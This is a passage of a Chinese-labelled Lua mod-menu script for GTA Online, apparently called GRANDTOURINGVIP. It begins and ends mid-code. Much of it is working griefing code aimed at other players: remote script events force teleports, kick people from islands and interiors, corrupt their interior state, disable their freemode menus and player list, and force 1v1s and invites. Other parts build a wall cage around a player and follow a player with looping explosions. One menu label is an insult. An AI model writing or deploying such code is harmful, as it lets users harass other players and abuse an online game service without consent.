            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y - 14.5
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y - 7.2
            c.x = defx + 3.5
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = defy + 6.5
            c.x = defx + 11
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.x = defx - 12
            c.y = defy + 4
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = defy - 7
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y - 10
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y - 7
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = defy - 10
            c.x = defx - 19
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.x = defx - 3
            c.y = defy + 6.5
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.x = defx + 25
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.x = c.x + 7
            c.y = defy
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = defy - 14.5
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y - 7
            c.x = c.x - 7
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y - 7
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y - 7
            c.x = c.x - 7.5
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.x = c.x - 6.5
            c.y = c.y - 6.5
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.x = c.x - 7.5
            c.y = c.y - 7
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.x = c.x - 14
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.x = c.x - 6.5
            c.y = c.y + 7
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.x = c.x - 7.5
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.x = c.x - 6.5
            c.y = c.y + 7
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y + 14
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y + 14
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y + 14
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 0.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            c.y = c.y - 3.1
            c.x = c.x + 5
            local spawnedwall = entities.create_object(wallbr, c)
            ENTITY.SET_ENTITY_ROTATION(spawnedwall, 90.0, 90.0, 0.0, 1, true)
            OBJECT.SET_OBJECT_TINT_INDEX(spawnedwall, 7)
            wait(600)
            TASK.CLEAR_PED_TASKS_IMMEDIATELY(p)
            wait(500)
        end)
    

    for id, name in pairs(All_business_properties) do
        if id <= 12 then
            GTAC(clubhouse, name, {}, "", function()
                util.trigger_script_event(1 << pid, {891653640, pid, id, 32, NETWORK.NETWORK_HASH_FROM_PLAYER_HANDLE(pid), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, math.random(1, 10)})
            end)
        elseif id > 12 and id <= 21 then
            GTAC(facility, name, {}, "", function()
                util.trigger_script_event(1 << pid, {891653640, pid, id, 32, NETWORK.NETWORK_HASH_FROM_PLAYER_HANDLE(pid), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0})
            end)
        elseif id > 21 then
            GTAC(arcade, name, {}, "", function() 
                util.trigger_script_event(1 << pid, {891653640, pid, id, 32, NETWORK.NETWORK_HASH_FROM_PLAYER_HANDLE(pid), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1})
            end)
        end
    end

    local small = GT(warehouse, "小型仓库", {}, "")
    local medium = GT(warehouse, "中型仓库", {}, "")
    local large = GT(warehouse, "大型仓库", {}, "")

    for id, name in pairs(small_warehouses) do
        GTAC(small, name, {}, "", function()
            util.trigger_script_event(1 << pid, {-1796714618, pid, 0, 1, id})
        end)
    end

    for id, name in pairs(medium_warehouses) do
        GTAC(medium, name, {}, "", function()
            util.trigger_script_event(1 << pid, {-1796714618, pid, 0, 1, id})
        end)
    end

    for id, name in pairs(large_warehouses) do
        GTAC(large, name, {}, "", function()
            util.trigger_script_event(1 << pid, {-1796714618, pid, 0, 1, id})
        end)
    end

        GTAC(cayoperico, "破坏室内状态", {}, "玩家必须在一个公寓内,可通过重新加入战局取消.", function(s)
        if players.is_in_interior(pid) then
            util.trigger_script_event(1 << pid, {629813291, pid, pid, pid, pid, math.random(int_min, int_max), pid})
        else
            util.toast("玩家不在室内. :/")
        end
    end)

    GTAC(cayoperico, "公寓邀请", {}, "已被大部分菜单阻挡", function()
        util.trigger_script_event(1 << pid, {3592101251, players.user(), pid, 1, 0, -1, 4, 127, 0, 0, 0}) 
    end)

    GTAC(cayoperico, "公寓邀请2", {}, "", function()
        menu.trigger_commands("givesh" .. players.get_name(pid))
        menu.trigger_commands("aptme" .. players.get_name(pid))
    end)

    GTAC(cayoperico, "强制DC动画", {}, "已被大部分菜单阻挡", function()
        util.trigger_script_event(1 << pid, {2139870214, players.user(), pid, 2, 0, 0, 4, 0}) 
    end)

    GTAC(cayoperico, "强制DC动画V2",{}, "已被大部分菜单阻挡", function()
        util.trigger_script_event(1 << pid, {2139870214, players.user(), pid, 1}) 
    end)

    GTAC(cayoperico, "随机任务邀请", {}, "已被大部分菜单阻挡", function()
        util.trigger_script_event(1 << pid, {36077543, players.user(), pid, 1,7}) 
    end)

    GTAC(cayoperico, "自由模式事件(撤退政策)",{}, "已被大部分菜单阻挡", function()
        util.trigger_script_event(1 << pid, {2156573948, players.user(), pid, 1, 2}) 
    end)

    GTAC(cayoperico, "自由模式事件(行迹败露)",{}, "已被大部分菜单阻挡", function()
        util.trigger_script_event(1 << pid, {2156573948, players.user(), pid, 1, 4}) 
    end)

    GTAC(cayoperico, "自由模式事件(猎杀叛徒)",{}, "已被大部分菜单阻挡", function()
        util.trigger_script_event(1 << pid, {2156573948, players.user(), pid, 1, 5}) 
    end)

    GTAC(cayoperico, "自由模式事件(数据泄露)",{}, "已被大部分菜单阻挡", function()
        util.trigger_script_event(1 << pid, {2156573948, players.user(), pid, 1, 6}) 
    end)

    GTAC(cayoperico, "自由模式事件(工作纠纷)",{}, "已被大部分菜单阻挡", function()
        util.trigger_script_event(1 << pid, {2156573948, players.user(), pid, 1, 7}) 
        util.trigger_script_event(1 << pid, {374302127, players.user(), pid, 1})
        util.trigger_script_event(1 << pid, {2347253207, players.user(), pid, 1, 0})
    end)

    GTAC(cayoperico, "公寓抢劫事件传送", {}, "已被大部分菜单阻挡", function()
        util.trigger_script_event(1 << pid, {-702866045, players.user(), pid, -1, 1, 1, 0, 1, 0}) 
    end) 

    GTAC(cayoperico, "佩里科岛(有过场动画)", {"tpcayo"}, "已被大部分菜单阻挡", function()
        util.trigger_script_event(1 << pid, {-369672308, pid, 0, 0, 0, 0, 0})
    end)

    GTAC(cayoperico, "佩里科岛(无过场动画)", {"tpcayo2"}, "已被大部分菜单阻挡", function()
        util.trigger_script_event(1 << pid, {-369672308, pid, 1, 0, 0, 1, 1})
    end)

    GTAC(cayoperico, "佩里科岛 v2", {"tpcayo2"}, "已被大部分菜单阻挡", function()
        util.trigger_script_event(1 << pid, {-369672308, pid, 1, 0, 0, 2, 1})
    end)

    GTAC(cayoperico, "离开佩里科岛", {"cayoleave"}, "玩家必须在佩里科岛才能触发", function()
        util.trigger_script_event(1 << pid, {-93722397, pid, 0, 0, 3})
    end)

    GTAC(cayoperico, "从佩里科岛踢出", {"cayokick"}, "玩家必须在佩里科岛才能触发", function()
        util.trigger_script_event(1 << pid, {-93722397, pid, 0, 0, 4, 0})
    end)

        GTAC(cayoperico, "驱逐玩家", {"evict"}, "将玩家踢出室内.", function()
        if players.is_in_interior(pid) then
            GTluaScript.trigger_commands("interiorkick" .. players.get_name(pid))
        else
            util.toast("玩家不在室内. :/")
        end
    end)

    GTAC(cayoperico, "给这傻逼送进监狱", {"arrest"}, "已被大部分菜单阻挡.", function()
        local my_pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
        local my_ped = PLAYER.GET_PLAYER_PED(players.user())
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(my_ped, 1628.5234, 2570.5613, 45.56485, true, false, false, false)
        menu.trigger_commands("givesh " .. players.get_name(pid))
        menu.trigger_commands("summon " .. players.get_name(pid))
        menu.trigger_commands("invisibility on")
        menu.trigger_commands("otr")
        wait(5000)
        menu.trigger_commands("invisibility off")
        menu.trigger_commands("otr")
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(my_ped, my_pos)
    end)

    GTAC(cayoperico, "传送沙滩", {""}, "", function()
        util.trigger_script_event(1 << pid, {330622597, pid, 1, 0, 0, 4, 0})
    end)

    GTAC(cayoperico, "发送到介绍界面", {"intro"}, "让玩家进入《GTA Online》的介绍.", function()
        local int = memory.read_int(memory.script_global(1894573 + 1 + (pid * 608) + 510))
        util.trigger_script_event(1 << pid, {-95341040, players.user(), 20, 0, 0, 48, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, int})
        util.trigger_script_event(1 << pid, {1742713914, players.user(), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0})
    end)

    GTAC(cayoperico, "发送到高尔夫俱乐部", {"golf"}, "派遣玩家去打高尔夫.", function()
        local int = memory.read_int(memory.script_global(1894573 + 1 + (pid * 608) + 510))
        util.trigger_script_event(1 << pid, {-95341040, players.user(), 193, 0, 0, 48, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, int})
        util.trigger_script_event(1 << pid, {1742713914, players.user(), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0})
    end)

    GTAC(cayoperico, "恶心人的自由模式", {"brickfreemode"}, "在他们的自由模式下，他们无法看到玩家列表，无法使用他们的互动菜单，也无法看到大多数的突发事件。.", function()
        local int = memory.read_int(memory.script_global(1894573 + 1 + (pid * 608) + 510))
        util.trigger_script_event(1 << pid, {-95341040, players.user(), 194, 0, 0, 48, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, int})
        util.trigger_script_event(1 << pid, {1742713914, players.user(), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0})
    end)
    
    GTAC(cayoperico, "强制1V1", {"1v1"}, "", function()
        local int = memory.read_int(memory.script_global(1894573 + 1 + (pid * 608) + 510))
        util.trigger_script_event(1 << pid, {-95341040, players.user(), 197, 0, 0, 48, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, int})
        util.trigger_script_event(1 << pid, {1742713914, players.user(), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0})
    end)

    GTAC(cayoperico, "破坏室内状态", {}, "可以通过重新加入战局来取消。玩家必须在一个公寓里。适用于大多数菜单.", function()
        if players.is_in_interior(pid) then
            util.trigger_script_event(1 << pid, {629813291, players.user(), pid, pid, pid, math.random(int_min, int_max), pid})
        else
            util.toast(players.get_name(pid) .. " isn't in an interior. :/")
        end
    end)

    GTLP(antimodder, "困惑火箭", {rpgnoob}, "促使他们发射的火箭到处乱窜", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = players.get_position(pid)
        if PED.IS_PED_SHOOTING(ped) and WEAPON.IS_PED_ARMED(ped, 2) then
            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(pos.x + math.random(-50, 50), pos.y + math.random(-50, 50), pos.z - 2, pos.x, pos.y, pos.z, 0, true, util.joaat("weapon_flaregun"), players.user_ped(), true, false, 0.0)
        end
    end)

    GTLP(antimodder, "自杀火箭", {}, "促使他们发射的火箭转向并瞄准自己", function()
        local things = {-0.1, 0.1}
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = players.get_position(pid)
        local pos1 = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(ped, things[math.random(#things)], -15.0, -2.0)
        local pos2 = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(ped, 0.0, 0.0, 0.0)
        if PED.IS_PED_SHOOTING(ped) and WEAPON.IS_PED_ARMED(ped, 2) then
            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS_RPG(pos1, pos2, 0, true, util.joaat("weapon_flaregun"), players.user_ped(), true, false, 0.0)
            wait(2500)
            MISC.CLEAR_AREA_OF_PROJECTILES_RPG(pos, 25.0, 0)
        end
    end)

    GTLP(jindianegao, "足迹追踪", {}, "", function()
        local coords = players.get_position(pid)
        coords.z = coords['z'] + 1.5
        FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 35, 0, false, false, 0, false)
        wait(65)
    end)

	GTLP(friendly, "给予爆炸枪", {""}, "建议您在该玩家附近效果最佳", function ()
        local pped = PLAYER.GET_PLAYER_PED(pid)
        local impactCoord = v3.new()
        local shot = WEAPON.GET_PED_LAST_WEAPON_IMPACT_COORD(pped, impactCoord)
        if shot then
        local explo = {x = v3.getX(impactCoord), y = v3.getY(impactCoord), z = v3.getZ(impactCoord)}
        local explo = GetTableFromV3Instance(impactCoord)
        SE_add_owned_explosion(pped, explo.x, explo.y, explo.z, 2, 10, true,false, 0)
        end
        v3.free(impactCoord)
    end)
    end	

players.on_join(playerActionsSetup)
players.dispatch_on_join()
local x, y = directx.get_client_size()
local ratio = x/y
local run = false

GTTG(anjian, '打开', {''}, '', function(on) 
	run = on
end, false)
GTluaScript.slider(anjian, 'X轴', {''}, '',1 , 10000, overlay_x * 10000, 20, function(value)
	overlay_x = value / 10000
end)
GTluaScript.slider(anjian, 'Y轴', {''}, '',1 , 10000, overlay_y * 10000, 20, function(value)
	overlay_y = value / 10000
end)
GTluaScript.slider(anjian, '大小', {''}, '',1 , 10000, 300, 20, function(value)
	size = value / 10000
    boxMargin = size / 7
end)

local color_root = GT(anjian, '颜色', {''}, '')
GTluaScript.colour(color_root, '文本颜色', {'co'}, '', key_text_color, true, function(colour)
    key_text_color = colour
end)
GTluaScript.colour(color_root, '背景颜色', {'bg-color'}, '', background_colour, true, function(colour)
    background_colour = colour
end)
GTluaScript.rainbow(GTluaScript.colour(color_root, '按键反馈颜色', {'press-color'}, '', pressed_background_colour, true, function(colour)
    pressed_background_colour = colour
end))


hide_root = GT(anjian, '隐藏按键', {''}, '')
for i = 1, #wasd do
GTTG(hide_root, wasd[i].key, {}, '', function(toggle)
wasd[i].show = not toggle
end)
end


util.create_tick_handler(function()
if run then
for i = 1, #wasd do
 wasd[i].pressed = false
for j = 1, #wasd[i].keys do
if PAD.IS_CONTROL_PRESSED(2, wasd[i].keys[j]) then
wasd[i].pressed = true
end
end
end
for i = 1, #wasd - 3 do
if wasd[i].show then
directx.draw_rect(overlay_x + (boxMargin + size) * (i > 4 and i - 5 or i - 1), overlay_y + (i > 4 and (boxMargin + size * ratio) or 0)* 1.05, size, size * ratio, wasd[i].pressed and pressed_background_colour or background_colour)
if not hideKey then
directx.draw_text(overlay_x + (boxMargin + size) * (i > 4 and i - 5 or i - 1)+ size * 0.45,(i > 4 and  overlay_y + (boxMargin + size * ratio)* 1.2 or  overlay_y*1.07) , wasd[i].key, 1, size *20, key_text_color, false)
end
end
end
if altShiftCtrl then
if wasd[#wasd - 2].show then
directx.draw_rect(overlay_x, overlay_y + (boxMargin + size)* ratio * 2,(boxMargin + size) - boxMargin, size * ratio / 2, wasd[#wasd - 2].pressed and pressed_background_colour or background_colour)
end
if wasd[#wasd - 1].show then
directx.draw_rect(overlay_x, overlay_y + (boxMargin + size)* ratio * 2.5,(boxMargin + size) - boxMargin, size * ratio / 2, wasd[#wasd - 1].pressed and pressed_background_colour or background_colour)
end
else
for i = 9, 10 do
if wasd[i].show then
directx.draw_rect(overlay_x - (boxMargin + size), overlay_y + (boxMargin + size * ratio) * (i - 8) * 1.05, size, size * ratio, wasd[i].pressed and pressed_background_colour or background_colour)
if not hideKey then
directx.draw_text(overlay_x - (boxMargin + size)+ size * 0.45,(i > 4 and  overlay_y + (boxMargin + size * ratio) * (i - 8)* 1.2 or  overlay_y*1.07) , wasd[i].key, 1, size *20, key_text_color, false)
end
end
end
end
if wasd[#wasd].show then
directx.draw_rect(overlay_x + (boxMargin + size) * altSpaceBar, overlay_y + (boxMargin + size)* ratio * 2,(boxMargin + size) * spaceBarLength - boxMargin, size * ratio / spaceBarSlim, wasd[#wasd].pressed and pressed_background_colour or background_colour)
end
end
if safeMonitorToggle then
local ct = 0
local spacing = 0.015 + smSettings.scale * smSettings.scale / 50
for i = 1, #JS_tbls.safeManagerToggles do
if JS_tbls.safeManagerToggles[i].toggle then
ct += spacing
directx.draw_text(1 + smSettings.xOffset / 200, ct + smSettings.yOffset / 200, JS_tbls.safeManagerToggles[i].displayText(), smSettings.alignment, smSettings.scale, smSettings.textColour, false)
end
end
end
end)

GTLP(zanzhuzx, "致谢名单", {""}, "GRANDTOURING董事会", function()
draw_string(string.format("~italic~~bold~~q~ ~y~[12] ~r~[Super飞]~g~[柒月]\n~f~[小马哥] ~p~[瑞思拜] ~d~[西木]"), 0.280,0.300,1.5,5)
draw_string(string.format("~italic~~bold~~q~ ~q~[丢丢] ~w~[02] ~y~[xion]"), 0.300,0.520,1.5,5)
end)

GTLP(zanzhuzx, "制作人", {"gtdev"}, "", function()
    draw_string(string.format("~italic~~bold~~f~GRANDTOURINGVIP"), 0.38,0.560, 1,2)
    draw_string(string.format("~italic~~bold~~z~GT"), 0.30,0.150, 7,5)
    draw_string(string.format("~italic~~bold~~w~制作"), 0.40,0.320, 1.2,5)
    draw_string(string.format("~italic~~bold~~q~S"), 0.517,0.283, 1.1,5)
    draw_string(string.format("~italic~~bold~~q~T"), 0.507,0.335, 1.1,5)
    draw_string(string.format("~italic~~bold~~q~A"), 0.497,0.386, 1.1,5)
    draw_string(string.format("~italic~~bold~~q~N"), 0.462,0.438, 1.1,5)
    draw_string(string.format("~italic~~bold~~q~D"), 0.454,0.491, 1.1,5)
    draw_string(string.format("~italic~~bold~~w~GT"), 0.37,0.435, 1.2,5)
    draw_string(string.format("~h~~m~SCRIPT"), 0.435,0.195, 1.1,5)
    draw_string(string.format("~italic~~bold~&#8721;"), 0.35,0.545, 1.1,5)
    draw_string(string.format("~italic~~bold~&#8721;"), 0.548,0.545, 1.1,5)
    draw_string(string.format("~italic~~bold~~w~关闭请到其他选项(感谢使用)"), 0.28,0.600, 1,5)
end)

GTLP(zanzhuzx, "副制作", {"respect"}, "", function()
    draw_string(string.format("~italic~~bold~~p~~h~瑞思拜"), 0.40,0.270, 1.5,1)
    draw_string(string.format("~italic~~bold~~y~Developer Updates For"), 0.25,0.370, 2,2)
    draw_string(string.format("~italic~~bold~&#8721;"), 0.27,0.50, 1.1,5)
    draw_string(string.format("~italic~~bold~~b~GRANDTOURINGVIP YYDS"), 0.30,0.480, 2,2)
    draw_string(string.format("~italic~~bold~~q~Made With Love For Everyone"), 0.26,0.600, 1,1)
end)

GTTG(other_options, "禁用圈钱鲨鱼卡显示", {}, "", function(on)
	nostore = on
	while nostore do
		NETWORK.SET_STORE_ENABLED(false)
		wait()
	end
	NETWORK.SET_STORE_ENABLED(true)
end, false)

GTAC(other_options, "重新启动GTAV", {""}, "", function(on_click)
MISC._RESTART_GAME()
end)

GTAC(other_options, "退到故事模式", {""}, "只可在线上使用", function() 
	if NETWORK.NETWORK_CAN_BAIL() then
	NETWORK.NETWORK_BAIL(0, 0, 0)
    end
end)

GTAC(other_options, '强制退到故事模式', {""}, '', function ()
GTluaScript.trigger_commands("forcequittosp")
end)

pass_list = {{0}}
GTAC(other_options, "自崩", {"crashme"}, "快速退游戏", function()
while true do
    for _, pass in ipairs(pass_list) do
        local rid = players.get_rockstar_id(players.user())
            if pass.id == rid then
                return 
                else
            break
         end
       end
    end
end, nil)

GTAC(other_options, "赌一赌", {}, "我也不知道会发生什么", function()
if randomizer(array) == "1" then
notification("你的游戏幸存了下来")
else
notification("看起来你的游戏崩了")
wait(3000)
ENTITY.APPLY_FORCE_TO_ENTITY(0, 0, 0, 0, 0, 0, 0, 0, 0, false, false, false, false, false)
end
end)

GTAC(other_options,"关于脚本",{},"请点击查看信息",function ()
    util.show_corner_help("~h~~p~*GRANDTOURINGVIP*\n~b~主作者: GT\n~y~副作者: 瑞思拜\n")
    util.toast("如您的脚本是通过付费渠道所得\n请积极在官方Discord中公开举报他\n《GRANDTOURING严正声明》\n脚本永久免费使用,脚本倒卖者一律不予原谅\n脚本永久免费使用,脚本倒卖者一律不予原谅\n脚本永久免费使用,脚本倒卖者一律不予原谅")
end)  
              
require "lib.GTSCRIPTS.GTW.real"
GTLP(other_options, "真诚的人不会太差", {}, "", function ()
    realheart()
end)

--menu.trigger_commands("spcheck on")
--menu.set_visible(spo, false)

--[[本地
require "lib.GTSCRIPTS.GTA.list"
util.create_thread(function ()
while true do
for _, pass in ipairs(pass_list) do
local rid = players.get_name(players.user())
if pass.id == rid then
return
util.show_corner_help("~h~~p~GRANDTOURINGVIP检测\n~y~检测到您为脚本皇榜人员儿\n~b~非常感谢您的支持与帮助儿\n~q~祝您游戏愉快儿:)")
else
return
end
end
end
end)]]

GTAC(other_options,"关闭脚本",{"closegt"},"",function ()
    util.stop_script()
end)
wait(100)

if do_autoload then
    load_loadout:trigger()
end

local last_car = 0
while true do
    player_cur_car = entities.get_user_vehicle_as_handle()
    if last_car ~= player_cur_car and player_cur_car ~= 0 then 
        on_user_change_vehicle(player_cur_car)
        last_car = player_cur_car
    end

    if renderscorched then
        if player_cur_car ~= 0 then
            ENTITY.SET_ENTITY_RENDER_SCORCHED(player_cur_car, true)
        end
    end

    if mph_plate then
        if player_cur_car ~= 0 then
            if mph_unit == "KPH" then
                unit_conv = 3.6
            else
                unit_conv = 2.236936
            end
            speed = math.ceil(ENTITY.GET_ENTITY_SPEED(player_cur_car)*unit_conv)
            VEHICLE.SET_VEHICLE_NUMBER_PLATE_TEXT(player_cur_car, speed .. " " .. mph_unit)
        end
    end

    if walkonwater or driveonwater or driveonair then
        if dow_block == 0 or not ENTITY.DOES_ENTITY_EXIST(dow_block) then
            local hash = util.joaat("stt_prop_stunt_bblock_mdm3")
            request_model_load(hash)
            local c = {}
            c.x = 0.0
            c.y = 0.0
            c.z = 0.0
            dow_block = OBJECT.CREATE_OBJECT_NO_OFFSET(hash, c['x'], c['y'], c['z'], true, false, false)
            ENTITY.SET_ENTITY_ALPHA(dow_block, 0)
            ENTITY.SET_ENTITY_VISIBLE(dow_block, false, 0)
        end
    end

    if dow_block ~= 0 and not walkonwater and not walkonair and not driveonwater and not driveonair then
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(dow_block, 0, 0, 0, false, false, false)
    end

    if walkonwater then
        vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
        local pos = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), 0.0, 2.0, 0.0)
        local ht = memory.alloc(4)
        if WATER.GET_WATER_HEIGHT(pos['x'], pos['y'], pos['z'], ht) then
            ENTITY.SET_ENTITY_COORDS_NO_OFFSET(dow_block, pos['x'], pos['y'], memory.read_float(ht), false, false, false)
            ENTITY.SET_ENTITY_HEADING(dow_block, ENTITY.GET_ENTITY_HEADING(players.user_ped()))
        end
    end

    if driveonwater then
        if player_cur_car ~= 0 then
            local pos = ENTITY.GET_ENTITY_COORDS(player_cur_car, true)
            local ht = memory.alloc(4)
            if WATER.GET_WATER_HEIGHT(pos['x'], pos['y'], pos['z'], ht) then
                ENTITY.SET_ENTITY_COORDS_NO_OFFSET(dow_block, pos['x'], pos['y'], memory.read_float(ht), false, false, false)
                ENTITY.SET_ENTITY_HEADING(dow_block, ENTITY.GET_ENTITY_HEADING(player_cur_car))
            end
        else
            ENTITY.SET_ENTITY_COORDS_NO_OFFSET(dow_block, 0, 0, 0, false, false, false)
        end
    end
        if aim_info then
        local info = get_aim_info()
        if info['ent'] ~= 0 then
            local text = "[GT]哈希: " .. info['hash'] .. "\n[GT]实体: " .. info['ent'] .. "\n[GT]生命值: " .. info['health'] .. "\n[GT]类型: " .. info['type'] .. "\n[GT]速度: " .. info['speed']
            directx.draw_text(0.5, 0.3, text, 5, 0.8, to_rgb(1.0,0.0,1.0,1.0), true)
        end
    end

    if grapplegun then
    local curwep = WEAPON.GET_SELECTED_PED_WEAPON(players.user_ped())
